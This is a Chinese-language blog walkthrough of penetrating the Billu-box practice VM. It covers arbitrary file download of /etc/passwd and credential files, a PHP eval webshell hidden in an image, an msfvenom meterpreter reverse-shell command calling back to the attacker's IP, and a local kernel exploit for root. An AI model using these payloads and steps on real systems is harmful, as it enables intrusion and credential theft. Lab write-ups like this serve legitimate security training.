Billu-box靶机渗透

0x01 信息收集

靶机环境为Ubuntu(32)+php+mysql+apachem,攻击机为kali linux. 目标主机ip(192.168.188.140),kali ip(192.168.188.139)


1.扫描存活主机

使用arp-scan扫描本地存活主机


2.使用SPARTA工具进行端口、服务以及Nikto扫描

发现目标主机只存在两个端口开放,nikto进行的漏洞扫描结果

根据扫描结果发现有一个phpinfo的信息泄露。打开192.168.188.140/in.php,收集一些敏感信息。

  • php版本为5.3.10》5.3.4,这个版本不能使用00截断进行文件包含
  • 网站的根目录是/var/www,如果存在sql注入且是root权限可以直接将shell写入网站目录中。
  • mysql的版本是5.5.38
  • session的存储路径是/var/lib/php5

3.使用dirbuster进行目录枚举

根据dirbuster的目录爆破,可以发现in.php,add.php,show.php,panel.php、test.php等。

4.使用dirb进行目录枚举

dirb http://192.168.188.140 /usr/share/dirb/wordlists/big.txt -o 192.168.188.140.txt


0x02 漏洞挖掘

1.sql注入

访问首页,发现登录框,使用万能密码注入:用户名输入:admin'or '1'='1#,密码随意输入字符串,注入无效,try again,使用burpsuit抓包,发送到sqlmap跑post注入无果,加载所有的temper没用,此处不知道网站是如何过滤的,暂时放弃注入

2.任意文件下载

访问192.168.188.140/test.php,网页提示需要file的参数,尝试url添加file=in.php,依然提示需要file参数,尝试使用post提交,hackbar

提交发现可以下载in.php,此处存在任意文件下载漏洞。接下来,将网站我们可以探测到的php文件下载到本地,同时也可以在linux下的一些敏感文件 /etc/passwd,/etc/shodow,

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
mysql:x:102:105:MySQL Server,,,:/nonexistent:/bin/false
messagebus:x:103:106::/var/run/dbus:/bin/false
whoopsie:x:104:107::/nonexistent:/bin/false
landscape:x:105:110::/var/lib/landscape:/bin/false
sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin
ica:x:1000:1000:ica,,,:/home/ica:/bin/bash

上面可知通过ica账户和root就可以使用ssh登录

3.代码审计

1.尝试绕过sql注入

下载首页,include了一个c.php,下载c.php,发现是数据库连接文件,找到数据库的连接用户名和密码:billu,b0x_billu

$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");

尝试使用这个密码登录首页,有时候数据库的连接密码和管理员使用的账号密码一致,尝试登录失败。

    $uname=str_replace('\'','',urldecode($_POST['un']));
    $pass=str_replace('\'','',urldecode($_POST['ps']));
    $run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';
    $result = mysqli_query($conn, $run);

无法闭合单引号,个人觉得sql注入无法使用,除非开启gpc。再审计panel.php。

2.枚举出phpmyadmin文件读取配置文件

此时查看扫描的目录还有什么信息可以被利用,可以看到dirb爆破出了phpmyadmin的目录,

接下来我们使用任意文件下载漏洞读取phpmyadmin的默认配置文件config.inc.php。下载后可以发现root的账号和密码

1563086737885

使用xshell进行连接,发现已经是root用户!

3.登录phpmyadmin后台getshell

使用root:roottoor登录,失败,使用billu,b0x_billu登录成功,查看是否拥有写入文件权限:

SHOW GLOBAL VARIABLES LIKE '%secure%',当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

发现可以写入任意位置,根据phpinfo的信息得到路径,然后插入一句话

失败,权限不够没办法getshell.

4.读取登录账号密码找上传

查看auth表得到登录用户名和密码为:

biLLu和hEx_it,尝试登录首页。接下来就是正常渗透思路,找上传点,上传shell,找到

if(in_array($r,$image))
    {
        $finfo = @new finfo(FILEINFO_MIME); 
    $filetype = @$finfo->file($_FILES['image']['tmp_name']);
        if(preg_match('/image\/jpeg/',$filetype )  || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype ))
                {
                    if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name']))
                             {
                              echo "Uploaded successfully ";
                              $update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')'; 
                             mysqli_query($conn, $update);

                            }
                }
            else
            {
                echo "<br>i told you dear, only png,jpg and gif file are allowed";
            }
    }

存在上传点但是是白名单验证,而且没法进行截断上传版本不行,所以这个只能上传白名单的jpg等图片后缀的文件,这边思路就断了。

5.使用文件包含漏洞包含图片马getshell

if(isset($_POST['continue']))
{
    $dir=getcwd();
    $choice=str_replace('./','',$_POST['load']);

    if($choice==='add')
    {
               include($dir.'/'.$choice.'.php');
            die();
    }

        if($choice==='show')
    {

        include($dir.'/'.$choice.'.php');
        die();
    }
    else
    {
        include($dir.'/'.$_POST['load']);
    }

}

上面只是对load参数进行一个过滤,替换其中的路径遍历符号./为空。

上传图片马,下载jack的那个图片,末尾添加 <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"])?>');?>,浏览器添加代理上传,

添加continue字段,随意输入一个值,然后进行上传,返回值为success,知道上传成功,然后在phpmyadmin的上传表查找这个上传的路径。在users表中发现上传路径。

查看图像链接路径为http://192.168.188.140/uploaded_images/jack.jpg,使用文件包含这个图片getshell,hackbar,post

使用burp抓包发现图片马没有再本地生成shell.php,应该是图片马问题,然后在本地找gif的图片,使用

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.188.139 LPORT=4444 R > shell.php

然后将其copy到windows上,在gif图片后面添加shell.php的内容,然后继续上传使用文件包含执行代码,

成功弹回shell,

0x03 exp提权

执行shell,切换到cmd_shell,然后使用python -c 'import pty;pty.spawn("/bin/bash")'弹回虚拟终端,

执行uname -a,查看linux内核

www-data@indishell:/var/www$ uname -a
uname -a
Linux indishell 3.13.0-32-generic #57~precise1-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 i686 i686 i386 GNU/Linux

使用search_sploit查找内核版本提权漏洞,

使用meterpreter上传exp文件,出错,发现此时是在var/www目录下,没有写入文件的权限,那么在uploaded_images存在写入文件的权限,在uploaded_images创建文件夹mkdir hack,然后使用切换到hack目录,使用upload /usr/share/exploitdb/exploits/linux/local/37292.c上传exp,修改文件权限

然后输入shell进入交互shell中,然后编译 gcc -o exp 37292.c,

执行exp

成功提权。


  转载请注明: 星晴 Billu-box靶机渗透

 上一篇
burpsuit常用插件笔记 burpsuit常用插件笔记
burpsuit常用插件学习笔记0x01 sqlipysqlipy的安装由于sqlmap是Python语言编写的,而burp是java编写的所以需要先下载jython-standalone-2.7.0.jar文件,然后进行使用。jython
2019-11-16 starjian
下一篇 
flask框架学习笔记 flask框架学习笔记
0x01 flask简介flask有两个依赖,一个是WSGI(web服务器网关接口)工具集,一个是WSGI(web server werkzeug),另一个是jinja2模板引擎,flask是一个可扩展的框架。 注解:WSGI(web se
2019-07-10 starjian
  目录